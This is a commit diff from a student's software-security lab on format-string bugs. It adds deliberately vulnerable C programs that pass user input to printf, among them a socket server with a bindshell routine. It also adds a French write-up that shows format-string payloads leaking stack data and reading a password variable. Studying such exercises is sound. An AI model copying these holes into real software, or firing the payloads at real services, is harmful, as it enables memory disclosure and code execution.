Begin TD6
This commit is contained in:
parent
558170c062
commit
72564e2e2d
9 changed files with 325 additions and 0 deletions
|
@ -0,0 +1,46 @@
|
||||||
|
CC = gcc
|
||||||
|
CFLAGS = -fstack-protector-all -g -Wall -Wextra -fno-omit-frame-pointer
|
||||||
|
SRC = $(wildcard *.c)
|
||||||
|
TGT = $(subst .c,,$(SRC))
|
||||||
|
BUILD_DIR = build
|
||||||
|
DUMP_DIR = dump
|
||||||
|
|
||||||
|
|
||||||
|
pframe:
|
||||||
|
curl -o pframe.tgz https://dept-info.labri.fr/~thibault/SecuLog/pframe.tgz && \
|
||||||
|
tar -xf pframe.tgz &&\
|
||||||
|
rm -rf pframe.tgz
|
||||||
|
|
||||||
|
.gdbinit:
|
||||||
|
|
||||||
|
configure: pframe .gdbinit
|
||||||
|
$(shell echo "python import pframe" > .gdbinit)
|
||||||
|
|
||||||
|
$(BUILD_DIR)/%_32: %.c
|
||||||
|
$(shell mkdir -p $(BUILD_DIR))
|
||||||
|
$(CC) $(CFLAGS) -m32 -no-pie -o $@ $<
|
||||||
|
|
||||||
|
$(BUILD_DIR)/%_32-pie: %.c
|
||||||
|
$(CC) $(CFLAGS) -m32 -pie -o $@ $<
|
||||||
|
|
||||||
|
$(BUILD_DIR)/%_64: %.c
|
||||||
|
$(shell mkdir -p $(BUILD_DIR))
|
||||||
|
$(CC) $(CFLAGS) -m64 -no-pie -o $@ $<
|
||||||
|
|
||||||
|
$(BUILD_DIR)/%_64-pie: %.c
|
||||||
|
$(CC) $(CFLAGS) -m64 -pie -o $@ $<
|
||||||
|
|
||||||
|
build: $(addprefix $(BUILD_DIR)/, $(addsuffix _32, $(TGT))) \
|
||||||
|
$(addprefix $(BUILD_DIR)/, $(addsuffix _32-pie, $(TGT))) \
|
||||||
|
$(addprefix $(BUILD_DIR)/, $(addsuffix _64, $(TGT))) \
|
||||||
|
$(addprefix $(BUILD_DIR)/, $(addsuffix _64-pie, $(TGT))) \
|
||||||
|
|
||||||
|
|
||||||
|
PHONY: gdb_%
|
||||||
|
gdb_%: $(addprefix $(BUILD_DIR)/, $(subst gdb_,,%))
|
||||||
|
PYTHONPATH=${PWD}/pframe${PYTHONPATH:+:${PYTHONPATH}} setarch -R gdb $< --command=$(subst gdb_,,$@).gdb
|
||||||
|
|
||||||
|
|
||||||
|
PHONY: clean
|
||||||
|
clean:
|
||||||
|
@rm -rf $(BUILD_DIR) pframe .gdbinit
|
|
@ -0,0 +1,9 @@
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
int main (void) {
|
||||||
|
int value;
|
||||||
|
fprintf(stdout, "%c %s 0x%08x %2$s %n\n", 'c', "AAAA", 9, &value);
|
||||||
|
fprintf(stdout, "value = %d\n", value);
|
||||||
|
return EXIT_SUCCESS;
|
||||||
|
}
|
|
@ -0,0 +1,11 @@
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
int main(void) {
|
||||||
|
char buf[32];
|
||||||
|
while (1) {
|
||||||
|
fgets(buf, sizeof(buf), stdin);
|
||||||
|
printf(buf);
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
|
@ -0,0 +1,12 @@
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
|
||||||
|
bool plusone_doesnt_overflow(int x) {
|
||||||
|
return x+1 > x;
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(void) {
|
||||||
|
printf("%d\n", plusone_doesnt_overflow(12));
|
||||||
|
return 0;
|
||||||
|
}
|
|
@ -0,0 +1,25 @@
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
char passwd[] = "secret_password";
|
||||||
|
|
||||||
|
int target = 0x12333231;
|
||||||
|
|
||||||
|
void foo (char *string) {
|
||||||
|
printf (string);
|
||||||
|
if (target == 0x00025544)
|
||||||
|
printf ("you have hacked it!\n");
|
||||||
|
else if (target != 0x12333231)
|
||||||
|
printf ("you have modified the target to 0x%x!\n", target);
|
||||||
|
}
|
||||||
|
|
||||||
|
int main (void) {
|
||||||
|
volatile int var = 0xabcd;
|
||||||
|
char buf[128];
|
||||||
|
while (1) {
|
||||||
|
if (!fgets(buf, sizeof(buf), stdin))
|
||||||
|
break;
|
||||||
|
foo(buf);
|
||||||
|
}
|
||||||
|
return EXIT_SUCCESS;
|
||||||
|
}
|
|
@ -0,0 +1,2 @@
|
||||||
|
b printf
|
||||||
|
r
|
|
@ -0,0 +1,21 @@
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
void bar (void) {
|
||||||
|
printf ("code execution redirected! you win!\n");
|
||||||
|
_exit (EXIT_SUCCESS);
|
||||||
|
}
|
||||||
|
|
||||||
|
void foo (void) {
|
||||||
|
char buffer[512];
|
||||||
|
|
||||||
|
fgets (buffer, sizeof (buffer), stdin);
|
||||||
|
printf (buffer);
|
||||||
|
exit (EXIT_SUCCESS);
|
||||||
|
}
|
||||||
|
|
||||||
|
int main (void) {
|
||||||
|
foo ();
|
||||||
|
return EXIT_SUCCESS;
|
||||||
|
}
|
|
@ -0,0 +1,83 @@
|
||||||
|
#include <stdbool.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
|
||||||
|
#define LISTEN_PORT 4242
|
||||||
|
#define LENGTH 1024
|
||||||
|
|
||||||
|
int cnxfd = 0;
|
||||||
|
|
||||||
|
void fail(char *msg) {
|
||||||
|
perror(msg);
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
void bindshell(void) {
|
||||||
|
/* Binding the process to the connexion */
|
||||||
|
dup2(cnxfd, STDIN_FILENO);
|
||||||
|
dup2(cnxfd, STDOUT_FILENO);
|
||||||
|
dup2(cnxfd, STDERR_FILENO);
|
||||||
|
/* Running the shell */
|
||||||
|
system("/bin/sh");
|
||||||
|
}
|
||||||
|
|
||||||
|
void server(int sockfd) {
|
||||||
|
char input[LENGTH], output[LENGTH];
|
||||||
|
|
||||||
|
while (true) {
|
||||||
|
struct sockaddr_in caddr;
|
||||||
|
socklen_t clen = sizeof(caddr);
|
||||||
|
if ((cnxfd = accept(sockfd, (struct sockaddr *) &caddr, &clen)) < 0)
|
||||||
|
fail("accept()");
|
||||||
|
/* Blanking memory */
|
||||||
|
memset(input, '\0', LENGTH);
|
||||||
|
memset(output, '\0', LENGTH);
|
||||||
|
/* Receiving and sending back the string */
|
||||||
|
send(cnxfd, "Waiting for data: ", 18, 0);
|
||||||
|
recv(cnxfd, input, LENGTH - 1, 0);
|
||||||
|
snprintf(output, sizeof(output), input);
|
||||||
|
output[sizeof(output) - 1] = '\0';
|
||||||
|
send(cnxfd, "Sending data: ", 14, 0);
|
||||||
|
send(cnxfd, output, strlen(output), 0);
|
||||||
|
/* Closing the connection */
|
||||||
|
close(cnxfd);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(void) {
|
||||||
|
int sockfd;
|
||||||
|
const struct sockaddr_in saddr = {
|
||||||
|
.sin_family = AF_INET,
|
||||||
|
.sin_addr.s_addr = htonl(INADDR_ANY),
|
||||||
|
.sin_port = htons(LISTEN_PORT)
|
||||||
|
};
|
||||||
|
|
||||||
|
while (true) {
|
||||||
|
if (!fork()) { /* Child process */
|
||||||
|
fprintf(stdout, "run (pid = %d)\n", getpid());
|
||||||
|
/* Socket initialization and error checking */
|
||||||
|
if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) < 0)
|
||||||
|
fail("socket()");
|
||||||
|
if (setsockopt(sockfd,
|
||||||
|
SOL_SOCKET, SO_REUSEADDR, &(int){ 1 }, sizeof(int)) < 0)
|
||||||
|
fail("setsockopt()");
|
||||||
|
if (bind(sockfd, (struct sockaddr *) &saddr, sizeof(saddr)) < 0)
|
||||||
|
fail("bind()");
|
||||||
|
if (listen(sockfd, LENGTH) < 0)
|
||||||
|
fail("listen()");
|
||||||
|
/* Running the server */
|
||||||
|
server(sockfd);
|
||||||
|
} else { /* Parent process (wait for child) */
|
||||||
|
wait(NULL);
|
||||||
|
close(sockfd);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return EXIT_SUCCESS;
|
||||||
|
}
|
116
content/secu_logicielle/td6-format_strings_vulns/index.md
Normal file
116
content/secu_logicielle/td6-format_strings_vulns/index.md
Normal file
|
@ -0,0 +1,116 @@
|
||||||
|
---
|
||||||
|
title: "Sécurité logicielle : TD6 String, format, vulnérabilité"
|
||||||
|
date: 2023-03-10
|
||||||
|
tags: ["Assembleur", "x86"]
|
||||||
|
categories: ["Sécurité logicielle", "TD"]
|
||||||
|
---
|
||||||
|
|
||||||
|
## Partie 1
|
||||||
|
|
||||||
|
### Question 1
|
||||||
|
|
||||||
|
Ce programme affiche ue première ligne avec les élements suivants (dans
|
||||||
|
l'ordre)":
|
||||||
|
|
||||||
|
* `c`
|
||||||
|
* `AAAA`
|
||||||
|
* `0x00000009`
|
||||||
|
* `AAA`
|
||||||
|
|
||||||
|
Il affiche encuite la valeur de `value` dans uen seconde ligne. Cette valeur a
|
||||||
|
été écrite par notre premier `fprintf` grace au `%n`.
|
||||||
|
|
||||||
|
### Question 2
|
||||||
|
|
||||||
|
Grace au commandes passées à `printf`, nous pouvons remontrer dans la pile et
|
||||||
|
ainsi afficher les adresses.
|
||||||
|
|
||||||
|
```
|
||||||
|
%2p
|
||||||
|
pframe
|
||||||
|
[...]
|
||||||
|
0xffffd60c 0x56555500
|
||||||
|
0xffffd608 0xffffd700
|
||||||
|
0xffffd604 0xf7fdb8d0
|
||||||
|
0xffffd600 0xffffd6c8
|
||||||
|
0xffffd5fc 0xffffd63c
|
||||||
|
0xffffd5f8 0xf7fc2540
|
||||||
|
0xffffd5f4 0x0804bff4
|
||||||
|
0xffffd5f0 0xf63d4e2e
|
||||||
|
0xffffd5ec 0x08049192
|
||||||
|
0xffffd5e8 0x080482ac
|
||||||
|
0xffffd5e4 0xf7c73230 <- '%p'
|
||||||
|
0xffffd5e0 0xffffd63c
|
||||||
|
0xffffd5dc sp 0x080491b4
|
||||||
|
|
||||||
|
(gdb) n
|
||||||
|
Single stepping until exit from function printf,
|
||||||
|
which has no line number information.
|
||||||
|
0xf7c73230 <- on a bien l'affichage de %p
|
||||||
|
```
|
||||||
|
|
||||||
|
### question 3
|
||||||
|
|
||||||
|
Avec les commandes `backtrace` puis `frame 2`, nous avons réussi à trouver
|
||||||
|
l'adresse de la variable `var`: *0xffffc8a8*. Ce qui représente une remontée
|
||||||
|
dans la pile de 22 élements. Il nous a suffit de renter avec `%22$p` pour
|
||||||
|
afficher le contenu.
|
||||||
|
|
||||||
|
```
|
||||||
|
./build/vulnerable-1_32
|
||||||
|
%22$p
|
||||||
|
0xffffc8a8
|
||||||
|
```
|
||||||
|
### Question 4
|
||||||
|
|
||||||
|
Modification du fichier de commandes gdb modifié comme ci-dessous pour
|
||||||
|
automatisée la saisie :
|
||||||
|
|
||||||
|
```gdb
|
||||||
|
b printf
|
||||||
|
r < <(echo -e '\x31\x32\x33\x34')
|
||||||
|
```
|
||||||
|
|
||||||
|
Nous pouvons maintenant afficher l'adresse de `buf` dans gdb:
|
||||||
|
|
||||||
|
```
|
||||||
|
p &buf
|
||||||
|
$2 = (char (*)[128]) 0xffffd56c
|
||||||
|
```
|
||||||
|
au moment du prinf `SP` se situe à `0xffffd50c`, on en déduit par soustraction
|
||||||
|
que notre `buf` se trouve à 96 octets plus bas que nore pointer de pile. en
|
||||||
|
prenant en compte les adresses 32bits et la strack frame conteant le format,
|
||||||
|
nous injectons `%23$p` pour trouver le contenu voici la commande shell exécutée:
|
||||||
|
|
||||||
|
```
|
||||||
|
echo -e '\x31\x32\x33\x34 %26$p' | setarch -R ./build/vulnerable-1_32
|
||||||
|
1234 0x34333231
|
||||||
|
```
|
||||||
|
|
||||||
|
### Question 5
|
||||||
|
|
||||||
|
D'après `objdump`, la variable `passwd` se trouve à l'adresse `0x0804c01c`
|
||||||
|
|
||||||
|
Il suffit de faire la commande suivante avec l'adresse que l'on a trouvé
|
||||||
|
|
||||||
|
```
|
||||||
|
echo -e '\x1c\xc0\x04\x08 %23$s' | setarch -R ./build/vulnerable-1_32
|
||||||
|
secret_password
|
||||||
|
```
|
||||||
|
|
||||||
|
La technique est simple : on injecte dans le buffer l'adresse de la variable
|
||||||
|
`psswd` découverte au dessus et la "commande" `printf` à utiliser pour afficher
|
||||||
|
ce qui se trouve à cette adresse.
|
||||||
|
|
||||||
|
### question 6
|
||||||
|
|
||||||
|
Le fonctionnement est le même que la question 5 : `objdump` + `echo`. Afin
|
||||||
|
d'afficher les caracteres, il est nécessaure d'utiliser `hexdump`:
|
||||||
|
|
||||||
|
```
|
||||||
|
echo -e '\x2c\xc0\x04\x08 %23$s' | setarch -R ./build/vulnerable-1_32 | hexdump -C
|
||||||
|
00000000 2c c0 04 08 20 20 31 32 33 12 0a |,... 123..|
|
||||||
|
0000000b
|
||||||
|
```
|
||||||
|
|
||||||
|
### Question 7
|
Loading…
Add table
Add a link
Reference in a new issue